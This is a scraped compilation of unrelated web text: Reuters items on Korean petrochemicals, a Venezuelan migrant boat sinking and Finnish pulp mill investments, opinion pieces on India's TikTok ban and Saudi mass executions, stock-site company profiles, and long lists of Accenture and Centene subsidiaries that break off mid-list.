waivers on Iran will drive up production costs for their petrochemicals, making South Korea less competitive in the face of rising supplies from China. Lee Myoung-young, the head of the finance division at SK Innovation, owner of SK Incheon Petrochem, said in a call with analysts on Thursday that the company would not have any issues sourcing feedstocks, although prices may increase on tighter supply. Another source at a Korean petrochemical company who declined to identified due to the sensitivity of the matter said: "If we can't pass higher raw material costs to customers, it'll be a problem for us." (Reporting by Jane Chung in SEOUL and Florence Tan in SINGAPORE; additional reporting by Seng Li Peng in SINGAPORE; editing by Christian Schmollinger) GENEVA, April 26 (Reuters) - At least 21 Venezuelans were missing after their boat sank on the way to the Caribbean island nation of Trinidad and Tobago, the U.N. refugee agency said on Friday, citing information from that country's coast guard. The boat, the "Jhonnaly Jose", was carrying at least 25 people from the Venezuelan coastal town of Guiria when it capsized in the early hours of Wednesday, UNHCR spokesman Babar Baloch told a regular U.N. briefing in Geneva. "This tragic incident highlights the extreme risks of sea journeys and other irregular cross-border movements undertaken by refugees and migrants. It also underscores the desperation of those forced to flee their homes and the extraordinary difficulties faced on their journey," he said. The UNHCR says more than three million Venezuelans have fled the South American country since 2014 due to widespread shortages of food and medicine and deteriorating law and order. Four of the 25 aboard the boat were rescued by the Trinidad and Tobago coast guard after a search and rescue effort carried out jointly with Venezuelan counterparts, and then taken back to Venezuela, Baloch said. Trinidad and Tobago is situated about 70 km (45 miles) off Venezuela's northern coast. Venezuela plunged into deeper political crisis in January when Juan Guaido, head of the opposition-controlled congress, invoked the constitution to assume an interim presidency, arguing Nicolas Maduro's 2018 re-election was not legitimate. (Reporting by Tom Miles Editing by Mark Heinrich) By Tarmo Virki HELSINKI, April 26 (Reuters) - Finnish pulp and paper maker Metsa Group announced a multi-billion euro expansion of its facilities on Friday, joining sector peer UPM in ramping up investments as higher prices drive growth across the industry. Metsa Group's Metsa Fibre has launched a pre-engineering phase for the construction of a 1.5 billion euro ($1.67 billion) bioproduct mill in Kemi, northern Finland, it said, with a final investment decision due in mid-2020 at the earliest. Financing plans are also due later, it said. The mill would have annual pulp capacity of 1.5 million tonnes, and would produce several other bioproducts. Publicly traded Metsa Board, which owns 24.9 percent of Metsa Fibre, said it also plans to invest 300 million euros in revamping its Swedish pulp mill in Husum, while Metsa Fibre will also invest 200 million in a sawmill in Rauma, Finland. Elsewhere UPM said preparations for a new 2 billion euro pulp mill in Uruguay were proceeding, though some work was still necessary before an investment decision could be made. "A lot of progress has been made in many areas," Chief Executive Jussi Pesonen told an analyst call. UPM said several important conditions stated in the investment agreement are still pending. A railway contract, labour protocols, and conflict mitigation regulation are all critical drivers for the final decision, it said. The company expects preparation works to be finished by November this year. The mill would have annual capacity of about 2 million tonnes of eucalyptus market pulp. Pesonen said the mill would be a key driver of growth for UPM's pulp business and also for group earnings. In the January to March period, UPM's operating profit excluding one-offs rose 5 percent to 374 million euros, a touch below the 379 million expected by 9 analysts in a Reuters poll. "In five of our six business areas, prices increased, more than offsetting the higher costs and keeping overall margins healthy," Pesonen said in a statement. UPM said it expects its business to continue performing well in 2019, with demand increasing across all business units, apart from the one producing newspaper and magazine paper. Its executives said they were unworried by pulp capacity expansion in the industry. "Demand will grow as it has been growing quite steadily," Pesonen said. Chief financial officer Tapio Korpeinen added: "We believe the demand-supply balance will be healthy." ($1 = 0.8980 euros) (Reporting by Tarmo Virki; editing by Jason Neely, Kirsten Donovan and Jan Harvey) For a very brief period, TikTok was banned in India until the High Court of Madras lifted the ban it imposed on the mobile application early this month. ByteDance, the Beijing-based I-T company operating TikTok, must be happy. So are the millions of Indian users who earned overnight fame with a few minutes-long videos. But the entire drama, of going off and coming back, clearly proves three things: 1.). The Centre does not have a clearly laid-out guideline to tackle such menaces which, in coming days, will only increase. 2.). Parental guidelines, which these apps mention in fine print, is a myth. 3.). TikTok cant be banned because, in these two weeks, Twitter and Facebook were flooded with TikTok videos Not only pornography: Why no one is talking about these incidents When the Madras HC imposed a ban on the application, it noted how the application is spreading pornographic content, encouraging child abuse, cyber-bullying, etc. The company defended itself and got away reportedly by saying a very small amount of content 0.0006% is inappropriate. The company approached the Supreme Court, which, in turn, asked the Madras HC to decide the fate of TikTok by April 24, failing which the ban would have, in any case, been lifted. Heres how worrying the condition is though. According to reports, a 19-year-old man was shot dead by his friend as they posed with a pistol to make a video on TikTok. They went to India Gate and while returning, they started making the video when the pistol went off. Of course, ByteDance will not take responsibility for this death. But then, who will? Questions like how these Delhi teenagers get hold of loaded pistols will open a can of worms which no one actually wants to open. A man in Tamil Nadu wanted to fake slitting his throat and ended up actually doing it. A man in Punjab came under a tractor while making a video such mishaps are galore. Why the Centre cant do anything while it can ban porn sites Between 2010 and 2018, the Centre blocked as many as 14,220 websites but those were host websites, responsible for the content they were hosting. TikTok is not the host. It is a platform an intermediary in the parlance of I-T laws. And this is the first time India is dealing with an intermediary, which is not liable for the content. If someone is unhappy with the content, according to the law, they should approach the intermediary. Approaching the court is the last resort. The intermediary is supposed to delete harmful users. In this case, TikTok claims to weed out many users. But really, who are you fooling? (Those who keep on creating new Netflix accounts to get the first month free?) Bangladesh and Indonesia have already banned TikTok. But we cant because theres no rule to do that; the Internet and Mobile Association of India has already rued that arbitrary bans will impede FDI. Also, the ban the Centre asked Google and IOS to remove TikTok didnt mean anything much. Several other similar platforms with TikTok mentioned in their names mushroomed. And then, there are several other options (VPN) to download an application. Google Playstore is flooded with similar other applications. (Photo: DailyO) Minimum age 13: Why? Whenever you download an application, you tick one box of agreeing to the terms and conditions of course, without reading those terms and conditions. You can use TikTok if you are above 13 (yes, not 18) but under parental guidance. There lies the irony as parents are only making these videos with their kids. We are not sure who needs parental guidance though. (Photo: TikTok/Twitter) In December 2018, the ministry of electronics and information technology introduced a draft Intermediary Guidelines Rules, which, available on the ministry website, appear quite perfunctory and toothless. Meanwhile, if you think this particular drama is over, then you are wrong. The Rajkot police has banned playing PubG in public places. In the absence of clear instructions, the Centre will falter there too, it's quite certain. Also Read: 5 reasons why I think TikTok should be banned According to a statement released by the Interior Ministry of Saudi Arabia on Tuesday, 37 citizens have been executed for what the Ministry said were "terrorism-related crimes in a gruesome display of the countrys ruthless laws. The individuals were reportedly found guilty of adopting the extremist terrorist ideology and formed terrorist cells to spread corruption, insecurity, chaos, sedition and sectarianism and threaten the public peace and social welfare in addition to attacking security headquarters by using explosive bombs, killing of a number of security men and breaching of the trust in cooperation with hostile parties harming the supreme interests of the country, according to the interior ministry statement. Their execution was carried out by beheading the individuals with swords and involved publicly pinning two of the executed bodies and severed heads to a pole or crucifying as a warning to others. With 37 beheaded on Tuesday, the latest tally brings the number of people executed since the start of 2019 to 96. (Representational image: Reuters) The killings were condemned by international organisations like Human Rights Watch and Amnesty International, soon after the statement was released. Amnesty International termed the executions "a chilling demonstration of the Saudi Arabian authorities callous disregard for human life." Among those put to death was a young man convicted of a crime that took place when he was 16 years old, said Amnesty. The use of the death penalty is always appalling but it is even more shocking when it is applied after unfair trials or against people who were under 18 at the time of the crime, in flagrant violation of international law, Lynn Maalouf, Amnesty Internationals Middle East Research Director reportedly said. While the allegation, trials, sentencing and the nature of the execution, all seem nothing short of draconian, the bigger question arises on whether the individuals were indeed executed for terrorism, or was it some other ulterior motive? To even an eye untrained in international affairs, this seems a witch-hunt of the countrys Shia Muslim population minority Shiias have been the target in the Sunni-majority country and have always been subjected to persecution. The sentences were carried out in Riyadh, the Muslim holy cities of Mecca and Medina, central Qassim province and Eastern Province home to the country's Shia minority. According to Ali Al-Ahmed, who runs the Gulf Institute in Washington, 34 of those executed have been identified as Shiites based on the names announced by the Interior Ministry. "This is the largest mass execution of Shiites in the kingdom's history,'' he told news agency AP. Human Rights Watch also observed that most of the convicted were members of the countrys persecuted Shia minority. Today's mass execution of mostly Shia citizens is a day we have feared for several years. The punishments are especially grotesque when they result from a flawed justice system that ignores torture allegations," Adam Coogle, Middle East researcher at HRW reportedly said. "It is also yet another gruesome indication of how the death penalty is being used as a political tool to crush dissent from within the countrys Shia minority," Maalouf reportedly said. The statement by the Ministry added: As it announces that, the Ministry of Interior reiterates that this country will not desist of deterring anyone who may think of trying to harm its security or stability as well as the nationals or the residents, either, on its territories, adding that it is resolutely and firmly continuing to seek justice through carrying out the rules of the sacred Sharia, on anyone who may cross the set limits of Allah, it also warns against anyone whose self may rationalize to him committing such terrorist and criminal acts, that the Sharia prescribed punishments shall be imposed upon him/her. The latest series of executions brings the number of people executed since the start of the year to 96. Saudi Arabia is one of the worlds top executioners it is behind only China and Iran. While executions have fallen worldwide in recent years, Saudi Arabia has seen an increase and by the look of it, is set to break records in 2019. The country carried out 149 executions in 2018. Most were drug smugglers convicted of non-violent crimes, according to Amnestys most recent figures. If such gruesome and violent executions were a deterrent to terrorism, there would have been peace and tranquillity on the planet for many centuries now. However, that is not to be. Further, any voices of disagreement against the ruler or those in power have never been tolerated in the oil-rich nation. Ranging from the cold-blooded murder of journalist Jamal Khashoggi to the public flogging of blogger Raif bin Muhammad Badawi, the rulers have never appreciated nor tolerated any form of dissent. Be it retribution for terrorism or raising a voice of dissent, an eye for an eye, they say, makes the whole world blind. Crown prince Mohammad Bin Salman Al Saud seems to be readying himself to rule over a kingdom of the blind. Also read: Saudi Arabia is torturing women activists under its shiny new 'liberalism'. And the world is looking away 6 hours ago Tesla Dips Into Year End - Whats Next? It wouldnt be like Tesla (NASDAQ: TSLA) to keep their investors guessing would it? After rallying more than 100% from July through the start of November, the brakes were firmly applied when CEO Elon Musk announced his intention to start unloading huge portions of his stock holdings to meet his tax obligations. Read Article GlaxoSmithKline Plc is a healthcare company, which engages in the research, development, and manufacture of pharmaceutical medicines, vaccines, and consumer healthcare products. It operates through the following segments: Pharmaceuticals; Pharmaceuticals R&D; Vaccines and Consumer Healthcare. The Pharmaceuticals segment focuses on developing medicines in respiratory and infectious diseases, oncology, and immuno-inflammation. The Pharmaceuticals R&D segment focuses on science related to the immune system, the use of human genetics and advanced technologies, and is driven by the multiplier effect of Science x Technology x Culture. The Vaccines segment produces pediatric and adult vaccines to prevent a range of infectious diseases including, hepatitis A and B, diphtheria, tetanus and whooping cough, measles, mumps and rubella, polio, typhoid, influenza, and bacterial meningitis. The Consumer Healthcare segment develops and markets brands in the oral health, pain relief, respiratory, nutrition and gastro intestinal, and skin health categories. The company was founded in 1715 and is headquartered in Middlesex, the United Kingdom. Read More Saga plc provides general insurance, package and cruise holidays, and personal finance products and services in the United Kingdom. The company operates in three segments: Insurance, Travel, and Other Businesses and Central Costs. It offers car, home, health, travel, landlord, boat, motorhome, caravan, pet, and personal accident, breakdown cover, building, content, renter, holiday, and holiday home insurance. The company also operates and delivers package tours and cruise holiday products; and provides equity release and care funding advice, savings accounts, credit cards, and wealth management services, as well as shares ISA and share dealing services. In addition, it offers mailing house services; retirement benefit schemes; and publishes Saga Magazine, as well as repairs automotive vehicles. The company was formerly known as Saga Limited and changed its name to Saga plc in May 2014. Saga plc was founded in 1950 and is headquartered in Folkestone, the United Kingdom. Read More John Hancock Premium Dividend Fund is a closed ended equity mutual fund launched and managed by John Hancock Investment Management LLC. It is co-managed by John Hancock Asset Management. The fund invests in the public equity markets of the United States. It seeks to invest in stocks of companies operating across diversified sectors, with an emphasis on the utilities sector. The fund primarily invests in dividend paying preferred stocks and common stocks of companies. It benchmarks the performance of its portfolio against a composite benchmark comprised of 70% Bank of America Merrill Lynch Preferred Stock DRD Eligible Index and 30% S&P 500 Utilities Index. The fund was formerly known as John Hancock Patriot Premium Dividend Fund II. John Hancock Premium Dividend Fund was formed on December 21, 1989 and is domiciled in the United States. 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Limited, DI Futures Corporation, Data Essential SARL, Davies Consulting, DayNine Consulting, DayNine Consulting (New Zealand) Limited, DayNine Consulting LLC, Declarative Holdings LLC, Decora Marketplace LLC, Decorado Marketplace Ltda-EPP, Defense Point Security, Deja vu Security, Design Strategy and Research de Mexico S.A. de C.V., Designaffairs LLC, Digiplug S.A.S., Digital Results Group LLC, Double Digit Limitada, Double Digit Pty SA, Droga5, Droga5 LLC, Droga5 Studios LLC, Droga5 UK Limited, Duck Creek Technologies, ESR Labs, ESR Labs AG, EdenOne Solutions Limited, Edenhouse ERP Holdings Limited, Edenhouse Solutions Limited, Enaxis Consulting, Enaxis Consulting LP, End to End Analytics LLC, End-to-End Analytics, Endorphin Medici (M) Sdn Bhd, Energuia Web S.A., Energy Management Brokers Limited, EnergyQuote JHA, Enimbos, Enimbos Global Services S.L., Enkitec, Enterprise Infrastructure Solutions LLC, Enterprise System Partners, Enterprise System Partners B.V., Enterprise System Partners Bilisim Danismanlik Ticaret Anonim Sirketi, Enterprise System Partners Global Corporation, Enterprise System Partners Limited, Enthusian Pty Ltd, Entropia, Entropia (M) Sdn Bhd, Entropia Holdings Pte Ltd, Entropia Intercraft Sdn Bhd, Epylon, Espedia S.r.l., Ethica Consulting Group, Ethica Consulting S.p.A., Evopro Group, Exactside Limited, Experity, Exton Consulting, Exton Consulting Spain Strategy&Management S.L., Exton Germany GmbH, Exton International SAS, Exton Italia S.r.l., Exton SAS, FGM LLC, Fairway Technologies Inc, Farah BidCo Limited, Farah MidCo Limited, Farah Topco Limited, Filmproduction ApS, First Annapolis Consulting Inc., First Annapolis Consulting LLC, Fjord, Focus Group Europe, Formicary, Fruendo S.r.l., FusionX, Future State Consulting LLC, FutureMove (Beijing) Automotive Technology Co. Ltd., FutureMove Automotive, FutureMove Automotive Co. Ltd., GRA Supply Chain Pty Ltd, Gagel Group S de R.L. de C.V., Gapso Servicos de Informatica Ltda, Gapso Servicos de Informatica Ltda., Genfour, George Group Consulting L.P., Gestalt LLC, Gevity, Gren utvikling AS, H.B. Maynard and Co. Inc., HRC Retail Advisory, Hagberg Consulting Group, Hahntel Ltda, Halo Partners LLC, Hamilton Holding Company S.A, Hangzhou Aiyunzhe Technology Co. Ltd., Happen, Happen GP Limited, Happen Limited, Hjaltelin Stahl, Hjaltelin Stahl A/S, Hjaltelin Stahl K/S, Hytracc Consulting AS, Hytracc Consulting Malaysia Sdn Bhd, IBB Consulting, ICM.S S.r.l., IMJ Corp, IMJ Corporation, INSITUM, IQSP Consulting LLC, IT One Company Limited, ITBS Servicios Bancarios de Tecnologia de la Informacion SL, Icon Integration, Icon Integration (NZ) Limited, Icon Integration Pty Ltd, Imagine Broadband (USA) Limited, Imagine Broadband USA LLC, Imaginea Inc, Imaginea Technologies LLC, Industrie IT (Hong Kong) Ltd, Industrie IT (Singapore) Pte Ltd, Industrie IT Group Pty Ltd, Industrie IT Pty Ltd, Industrie&Co, Infinity Works Consulting Limited, Infinity Works Holdings Limited, Infinity Works Management Limited, Infinity Works Midco Limited, Informatica de Euskadi S.L., Innotec International EAD, Innotec International S.p. z.o.o., Innotec Marketing GmbH, Innotec Marketing International Ireland Limited, Innotec- Marketing Spain S.L, Insitum Consultoria Argentina SRL, Insitum Consultoria S.A. de C.V., International Biometric Group LLC, International Biometric Group UK Limited, Intrepid, Intrepid Futureworks Sdn Bhd, Intrigo Systems Inc, Intrigo Systems India Pvt. Limited, Intrigo Systems LLC, Inventor Technology Ltd, InvestTech, Investtech Systems Consulting LLC, ItSafer Continuity Services S.L., JKD Consulting LLC, Javelin Group, K Comms Group Limited, KSC Studio LLC, Kaper Communications Limited, Karma Communications Debtco Limited, Karma Communications Group Limited, Karma Communications Holdings Limited, Karmarama, Karmarama Comms Limited, Karmarama Limited, Knowledge Rules Inc., Knowledgent, Knowledgent Group LLC, Kogentix, Kogentix LLC, Kogentix Limited, Kogentix Singapore Pte Ltd, Kogentix Technologies Private Limited, Kolle Rebbe, Kolle Rebbe GmbH, Kream Comms Limited, Kunstmaan, Kurt Salmon, Kurt Salmon Canada LTD, Kurt Salmon US LLC, LEXTA, LINKBYNET, LINKBYNET Indian Ocean (L.I.O) Ltd, LabAnswer, Lexta GmbH, Lexta UK Limited, Lien par le reseau Inc, Lien par le reseau infrastructures Inc, Lin Bo (Shanghai) Network Technology Co. Ltd., Link By Net SAS, Link By Net SRL, Link By Net Vietnam Company Limited, Linkbynet East Asia Ltd, Linkbynet Singapore Pte Ltd., Loud & Clear Creative Pty Ltd, Lumenup S.A., MAXIM Systems Inc., MCG US Holdings LLC, Mackevision CG Technology and Service (Shanghai) Co. Ltd., Mackevision Japan Co. Ltd., Mackevision Korea Ltd, Mackevision Medien Design, Mackevision Medien Design GmbH, Mackevision Singapore Pte Ltd, Mackevision UK Limited, Maglan, Maglan Information Defense Technologies Research Ltd, Maihiro, Matter, Maud Corp Pty Ltd, Maxamine International, Measuretek LLC, Media Audits Ltd., Media Hive, Mediasenz Pty Ltd., Meredith Specialty LLC, Meredith Xcelerated Marketing, Meredith Xcelerated Marketing LLC, Meridian Informed Purchasing Ltd., Mindtribe, Mistral Wind Operations Servicos Empresariais Unipessoal Lda., MobGen, Mortgage Cadence LLC, Mortgage Cadence an Accenture Company, Most Champion Ltd, Mudano, Mudano Limited, Myrtle Consulting Group LLC, N3 (Dalian) Business Consulting Co. Ltd., N3 Brazil Consultoria em Marketing Ltda, N3 Germany GmbH, N3 LLC, N3 North America LLC, N3 Results Australia Pty Ltd, N3 Results Ireland Limited, N3 Results Japan G.K., N3 Results Limited, N3 Results Malaysia Sdn Bhd, N3 Results Mexico S. de R.L. de C.V., N3 Results S.A.S., N3 Results Singapore Pte Ltd, N3 Results Unipessoal Lda, NYTEC, Nanjing Demeng Advertising Co. Ltd., Nashco Consulting, NaviSys Inc., Nell'Armonia Israel Ltd, Nell'Armonia SAS, Nell'Participation SAS, NellArmonia, Neo Metrics Analytics S.L., Neo Metrics Chile S.A., New Content, New Content Editora e Produtora Ltda, New Energy Group, News Imaging LLC, NewsPage, NewsPage (Malaysia) Sdn Bhd, NewsPage Pte Ltd, Northstream, Novetta Holdings LLC, Novetta LLC, Novetta Solutions LLC, Novetta Topco LLC, OCTO Technology, OPS Rules Management Consultants, Octagon Research Solutions Inc., Octo Technology Pty Ltd, Octo Technology SA, Odgaard ApS, Olikka, Olikka Pty Ltd, Openmind, Openmind S.r..l., Openminded, Openminded SAS, Operaciones Accenture S.A. de C.V., OpusLine, Orbium, Orbium AG, Orbium Consulting Limited, Orbium Inc., Orbium Ltd, Orbium Pte Ltd, Orbium Pty Ltd, Origin Digital, PCO Innovation, PLM Systems S.r.l, PRION GmbH, PT Accenture, PT Asta Catur Indra, PT Kogentix Teknologi Indonesia, PacificLink Group, Paja Finanssipalvelut Oy, Parker Fitzgerald Inc, Parker Fitzgerald International Limited, Parker Fitzgerald Limited, Parker Fitzgerald PTY Ltd, Parker Fitzgerald Services Limited, Parker Fitzgerald Solutions Limited, Pecaso Ltd., Pegasus Production A/S, Pegasus Production K/S, Phase One Consulting Group, Pillar Technology, Pollux, Pollux Automation Mexico S.A. de C.V., Pollux Canada Inc, Pollux S.A.S., Pollux USA LLC, Pragsis Bidoop, Pragsis Bidoop UK Limited, Pramati Technologies Europe Limited, Pramati Technologies Private Limited, Presence of IT Workforce Management North America LLC, PrimeQ, PrimeQ Australia Pty Ltd, PrimeQ Ltd, PrimeQ NZ Pty Limited, Procurian Inc., Prof. Homburg GmbH, Proquire LLC, PureApps Ltd., Qi Jie Beijing Information Technologies Co. Ltd., RBCP Fund 1-A Vapor Blocker LLC, RBCP Platform Vapor Blocker I LLC, REPL Consulting LLC, REPL Consulting Limited, REPL Digital Limited, REPL Group K.K., REPL Group Pty Ltd, REPL Group Worldwide Limited, REPL Pte Ltd, REPL Software Limited, REPL Technology Limited, Radiant Services LLC, Random Walk Computing Inc., Reactive Media Pty Ltd., Real Protect, Realworld OO Systems Ltd., Redcore, Redcore (New Zealand) Limited, Redcore Group Holdings Pty Ltd, Redcore Pty Ltd, Revolutionary Security, RiskControl, Root LLC, Rothco, Rothco Limited, S3 TV Technology Ltd., SALT Solutions GmbH, SEC Servizi, SOPIA Corp., Sagacious Consultants, Salt Solutions, Sandbox Studio LLC, Sapling Bidco Limited, Sapling Midco Limited, Sapling Topco Limited, Schlumberger Business Consulting, Seabury Aviation & Aerospace (UK) Limited, Seabury Consulting, Seabury Corporate Advisors LLC, Seabury Malaysia Sdn Bhd, Search Technologies BPO Inc, Search Technologies International LLC, Search Technologies LLC, Search Technologies Limited, Securiview SAS, Sentelis, Sentor Managed Secuirty Services AB, Servicios Tecnicos de Programacion Accenture S.C., Seven Seas Business Ventures LLC, Shackleton, Shackleton Chile S.A., Shackleton S.L.U., Shanghai Baiyue Advertising Co. Ltd., Shun Zhe Technology Development Co. Ltd., SigInt Technologies LLC, Silveo, Silveo Consulting India Private Limited, Simian Pty Ltd, SinnerSchrader, SinnerSchrader AG, SinnerSchrader Content GmbH, SinnerSchrader Deutschland GmbH, Sirvart S.A., Sistemes Consulting S.L., Skylink SAS, Soltians Limited, Solutions IQ LLC, SolutionsIQ, SolutionsIQ India Consulting Services Private Limited, Somers Ventures Ireland Limited, Somers Ventures LLC, Spacelink SAS, Storm Digital, Structure Consulting Group LLC, Sutter Mills, Synership LLC, Systor AG, TXF LLC, TargetST8, Tech - Avanade Portugal Unipessoal Lda, Tecnilogica Ecosistemas S.A., Tecnilogica, The Brand Learning Partners Limited, The Callisto Integration Corporation, The Monkeys, The Monkeys Pty Ltd, The Myrtle Group, Total Logistics, Tquila, Trivadis, Trivadis Austria GmbH, Trivadis Denmark AS, Trivadis Germany GmbH, Trivadis Holding AG, Trivadis Partner AG, Trivadis Services AG, Trivadis Services SRL, Troop Studios Pty Ltd, VanBerlo, Vector Acquisition Company LLC, Vector Topco LLC, Verax Solutions, Vertical Retail Consulting (Shanghai) Ltd, Vertical Retail Consulting Ltd, Vivere Brasil Servicos e Solucoes SA, Vivere Brasil Solucoes De Credito Ltda., Wabion GmbH, WaveStrike LLC, White Cliffs Consulting LLC, Wire Stone, Wire Stone LLC, Wise Partners SAS, Wolox, Wolox Colombia S.A.S, Wolox LLC, Wolox Mexico S.R.L de C.V., Wolox S.A., Wolox SpA, Workforce Insight, Workforce Insight LLC, Yesler, Yesler LLC, Yesler Limited, Yesler Singapore Pte Ltd, Zag, Zag Australia Pty Ltd, Zag Limited, Zag USA LLC, Zebra Worldwide Australia Pty Ltd, Zebra Worldwide Group Limited, Zebra Worldwide Media Pty Ltd, Zenta, Zenta Global Philippines Inc, Zenta Mortgage Services LLC, Zenta Recoveries Inc, Zenta US Holdings Inc, Zielpuls, Zielpuls (Shanghai) Co. Ltd., Zielpuls GmbH, avVenta, designaffairs, designaffairs Business Consulting (Shanghai) Co. Ltd., designaffairs GmbH, designaffairs group China Co. Ltd., dgroup, i4C Analytics, iDefense, solid-serVision.com GmbH, and umlaut. The following companies are subsidiares of Centene: APS Parent Inc., AWC of Syracuse Inc., Absolute Total Care Inc., AcariaHealth Inc., AcariaHealth Pharmacy #11 Inc., AcariaHealth Pharmacy #12 Inc., AcariaHealth Pharmacy #13 Inc., AcariaHealth Pharmacy #14 Inc., AcariaHealth Pharmacy Inc., AcariaHealth Solutions Inc., Access Medical Acquisition LLC, Access Medical Group of Florida City LLC, Access Medical Group of Hialeah LLC, Access Medical Group of Lakeland LLC, Access Medical Group of Miami LLC, Access Medical Group of North Miami Beach LLC, Access Medical Group of Opa-Locka LLC, Access Medical Group of Perrine LLC, Access Medical Group of Tampa II LLC, Access Medical Group of Tampa III LLC, Access Medical Group of Tampa LLC, Access Medical Group of Westchester LLC, Accountable Care Coalition Direct Contracting LLC, Accountable Care Coalition of Chesapeake LLC, Accountable Care Coalition of Community Health Centers II LLC, Accountable Care Coalition of Community Health Centers LLC, Accountable Care Coalition of Elite Providers II LLC, Accountable Care Coalition of Elite Providers III LLC, Accountable Care Coalition of Elite Providers IV LLC, Accountable Care Coalition of Elite Providers LLC, Accountable Care Coalition of Elite Providers V LLC, Accountable Care Coalition of Elite Providers VI LLC, Accountable Care Coalition of Elite Providers VII LLC, Accountable Care Coalition of Florida Partners LLC, Accountable Care Coalition of Georgia LLC, Accountable Care Coalition of Maryland LLC, Accountable Care Coalition of Maryland Primary Care LLC, Accountable Care Coalition of Mississippi LLC, Accountable Care Coalition of New Jersey Inc., Accountable Care Coalition of North Texas LLC, Accountable Care Coalition of Northeast Georgia LLC, Accountable Care Coalition of Northeast Partners LLC, Accountable Care Coalition of Northwest Florida LLC, Accountable Care Coalition of Prime Health LLC, Accountable Care Coalition of Quality Health II LLC, Accountable Care Coalition of Quality Health III LLC, Accountable Care Coalition of Quality Health LLC, Accountable Care Coalition of Southeast Partners LLC, Accountable Care Coalition of Southeast Physician Partners LLC, Accountable Care Coalition of Southeast Texas Inc., Accountable Care Coalition of Southeast Wisconsin LLC, Accountable Care Coalition of Tennessee LLC, Accountable Care Coalition of Texas Inc., Agate Resources Inc., AirLogix, Ambetter of Magnolia Inc., Ambetter of North Carolina Inc., Ambetter of Peach State Inc., America's 1st Choice California Holdings LLC, American Progressive Life and Health Insurance Company of New York, Apixio, Apixio Inc, Arch Personalized Medicine Initiative LLC, Arkansas Health & Wellness Health Plan Inc., Arkansas Total Care Holding Company LLC, Arkansas Total Care Inc., B2B Gestion Integra S.L.U., B2B Salud S.L.U., Bankers Reserve Life Insurance Company of Wisconsin, Blackcrow Asistencia Medica S.L, Bridgeway Health Solutions LLC, Bridgeway Health Solutions of Arizona Inc., Buckeye Community Health Plan Inc., Buckeye Health Plan Community Solutions Inc., CCTX Holdings LLC, CMC Real Estate Company LLC, CT Poprad s.r.o., CT Presov s.r.o., Calibrate Acquisition Company, California Health and Wellness Plan, Cantina Laredo Clayton LP, Cardium Health Services, Care 1st Health Plan of Arizona Inc., Care1st Health Plan Administrative Services Inc., Carolina Complete Health Holding Company Partnership, Carolina Complete Health Inc., Casenet LLC, Casenet S.R.O., CeltiCare Health Plan Holdings LLC, CeltiCare Health Plan of Massachusetts Inc., Celtic Group Inc., Celtic Insurance Company, Cenpatico Behavioral Health LLC, Cenpatico Behavioral Health of Arizona LLC, Cenpatico of Arizona Inc., Centene Center I LLC, Centene Center II LLC, Centene Center LLC, Centene Company of Texas LP, Centene Europe Finance Company Limited, Centene Health Plan Holdings Inc., Centene Institute for Advanced Health Education LLC, Centene International Ventures LLC, Centene Investments LLC, Centene Management Company LLC, Centene Venture Company Alabama Health Plan Inc., Centene Venture Company Florida Inc., Centene Venture Company Illinois Inc., Centene Venture Company Indiana Inc., Centene Venture Company Kansas Inc., Centene Venture Company Michigan Inc., Centene Venture Company Tennessee Inc., Centro Inmunologocia De La Comunidad Valenciana S.L., Centurion Correctional Healthcare of New Mexico LLC, Centurion Detention Health Services LLC, Centurion LLC, Centurion of Arizona LLC, Centurion of Delaware LLC, Centurion of Florida LLC, Centurion of Kansas LLC, Centurion of Minnesota LLC, Centurion of Mississippi LLC, Centurion of New Hampshire LLC, Centurion of Pennsylvania LLC, Centurion of Tennessee LLC, Centurion of Vermont LLC, Centurion of West Virginia LLC, Centurion of Wyoming LLC, Chrysalis Medical Services LLC, Clinica Santo Domingo De Lugo S.L., Collaborative Health Systems IPA LLC, Collaborative Health Systems LLC, Collaborative Health Systems of Maryland LLC, Collaborative Health Systems of Virginia LLC, Comfort Hospice of Missouri LLC, Comfort Hospice of Texas LLC, ComfortBrook Hospice LLC, Community Medical Group, Community Medical Holdings Corporation, Comprehensive Health Management Inc., Comprehensive Reinsurance Ltd., Coordinated Care Corporation, Coordinated Care of Washington Inc., Country Style Health Care LLC, Discare CZ a.s., District Community Care Inc., Dr Magnet s.r.o., Elche-Crevillente Salud, Envolve Benefits Options Inc., Envolve Captive Insurance Company Inc., Envolve Dental IPA of New York Inc., Envolve Dental Inc., Envolve Dental of Florida Inc., Envolve Dental of Texas Inc., Envolve Health, Envolve Holdings Inc., Envolve Inc., Envolve Optical Inc., Envolve PeopleCare Inc., Envolve Pharmacy IPA LLC, Envolve Pharmacy Solutions Inc., Envolve Total Vision Inc., Envolve Vision Benefits Inc., Envolve Vision IPA of New York Inc., Envolve Vision Inc., Envolve Vision of Florida Inc., Envolve Vision of Texas Inc., Essential Care Partners LLC, Exactus Pharmacy Solutions Inc., Family Nurse Care II LLC, Family Nurse Care LLC, Family Nurse Care of Ohio LLC, Fidelis Care, Forensic Health Services LLC, Foundation Care LLC, Godgrace Asistencia Medica S.L., Golden Triangle Physician Alliance, Grace Hospice of Austin LLC, Grace Hospice of Grand Rapids LLC, Grace Hospice of Illinois LLC, Grace Hospice of Indiana LLC, Grace Hospice of San Antonio LLC, Grace Hospice of Virginia LLC, Grace Hospice of Wisconsin LLC, Granite State Health Plan Inc., Growly Asistencia Sanitaria S.L., HHS Texas Management Inc., HHS Texas Management LP, Hallmark Life Insurance Company, Harmony Behavioral Health IPA Inc., Harmony Behavioral Health Inc., Harmony Health Management Inc., Harmony Health Plan Inc., Harmony Health Systems Inc., Health Care Enterprises LLC, Health Net Access Inc., Health Net Community Solutions Inc., Health Net Community Solutions of Arizona Inc., Health Net Federal Services LLC, Health Net Health Plan of Oregon Inc., Health Net LLC, Health Net Life Insurance Company, Health Net Life Reinsurance Company, Health Net Pharmaceutical Services, Health Net of Arizona Inc., Health Net of California Inc., Health Plan Real Estate Holdings Inc., HealthSmart Benefit Solutions Inc., HealthSmart Benefits Management LLC, HealthSmart Care Management Solutions LP, HealthSmart Information Systems Inc., HealthSmart Preferred Care II LP, HealthSmart Preferred Network II Inc., HealthSmart Primary Care Clinics LP, HealthSmart Rx Solutions Inc., Healthy Louisiana Holdings LLC, Healthy Missouri Holdings Inc., Healthy Washington Holdings Inc., Heritage Health Systems Inc., Heritage Health Systems of Texas Inc., Heritage Home Hospice LLC, Heritage Physician Networks, Home State Health Plan Inc., HomeScripts.com LLC, Hospice DME Company LLC, Hospinet S.L., Hospital Polusa S.A., Hospital Povisa S.A., Hudson Accountable Care LLC, IAH of Florida LLC, Illinois Health Practice Alliance LLC, Infraestructuras y Servicios de Alzira S. L., Integrated Care Network of Florida LLC, Integrated 